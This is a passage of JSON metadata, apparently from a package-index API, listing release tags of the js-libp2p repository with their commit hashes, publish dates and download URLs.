itHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.18/manifests"},{"name":"ping-v3.1.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.3/manifests"},{"name":"perf-v5.1.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.3/manifests"},{"name":"peer-store-v12.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.18/manifests"},{"name":"peer-collections-v7.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.18/manifests"},{"name":"opentelemetry-metrics-v2.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.19/manifests"},{"name":"multistream-select-v7.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.18/manifests"},{"name":"mplex-v12.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.19/manifests"},{"name":"memory-v2.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.18/manifests"},{"name":"mdns-v12.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.19/manifests"},{"name":"libp2p-v3.2.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.2.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.3/manifests"},{"name":"keychain-v6.1.0","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.0/manifests"},{"name":"kad-dht-v16.2.4","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.4/manifests"},{"name":"interop-v14.0.21","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.21/manifests"},{"name":"interface-internal-v3.1.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.3/manifests"},{"name":"interface-compliance-tests-v7.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.19/manifests"},{"name":"integration-tests-v1.2.4","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.4/manifests"},{"name":"identify-v4.1.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.3/manifests"},{"name":"gossipsub-v15.0.20","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.20/manifests"},{"name":"floodsub-v11.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.19/manifests"},{"name":"fetch-v4.1.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.3/manifests"},{"name":"echo-v3.1.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.3/manifests"},{"name":"dcutr-v3.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.18/manifests"},{"name":"daemon-v6.0.21","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.21/manifests"},{"name":"daemon-server-v9.0.21","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.21/manifests"},{"name":"daemon-client-v10.0.21","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.21/manifests"},{"name":"config-v1.1.30","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.30/manifests"},{"name":"circuit-relay-v2-v4.2.3","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.3/manifests"},{"name":"bootstrap-v12.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.19/manifests"},{"name":"autonat-v3.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.18/manifests"},{"name":"autonat-v2-v2.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.18/manifests"},{"name":"webtransport-v6.0.20","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.20/manifests"},{"name":"webrtc-v6.0.19","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.19/manifests"},{"name":"transport-interop-libp2p-main-v1.0.20","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.20/manifests"},{"name":"kad-dht-v16.2.3","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.3/manifests"},{"name":"interop-v14.0.20","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.20/manifests"},{"name":"integration-tests-v1.2.3","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.3/manifests"},{"name":"daemon-v6.0.20","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.20/manifests"},{"name":"daemon-server-v9.0.20","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.20/manifests"},{"name":"daemon-client-v10.0.20","sha":"2eb4d78f6aacd5d8922eb5a69ba401b7795551b2","kind":"commit","published_at":"2026-04-21T10:34:11.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.20/manifests"},{"name":"webtransport-v6.0.19","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.19/manifests"},{"name":"websockets-v10.1.10","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.10","html_url":"https://github.com/lib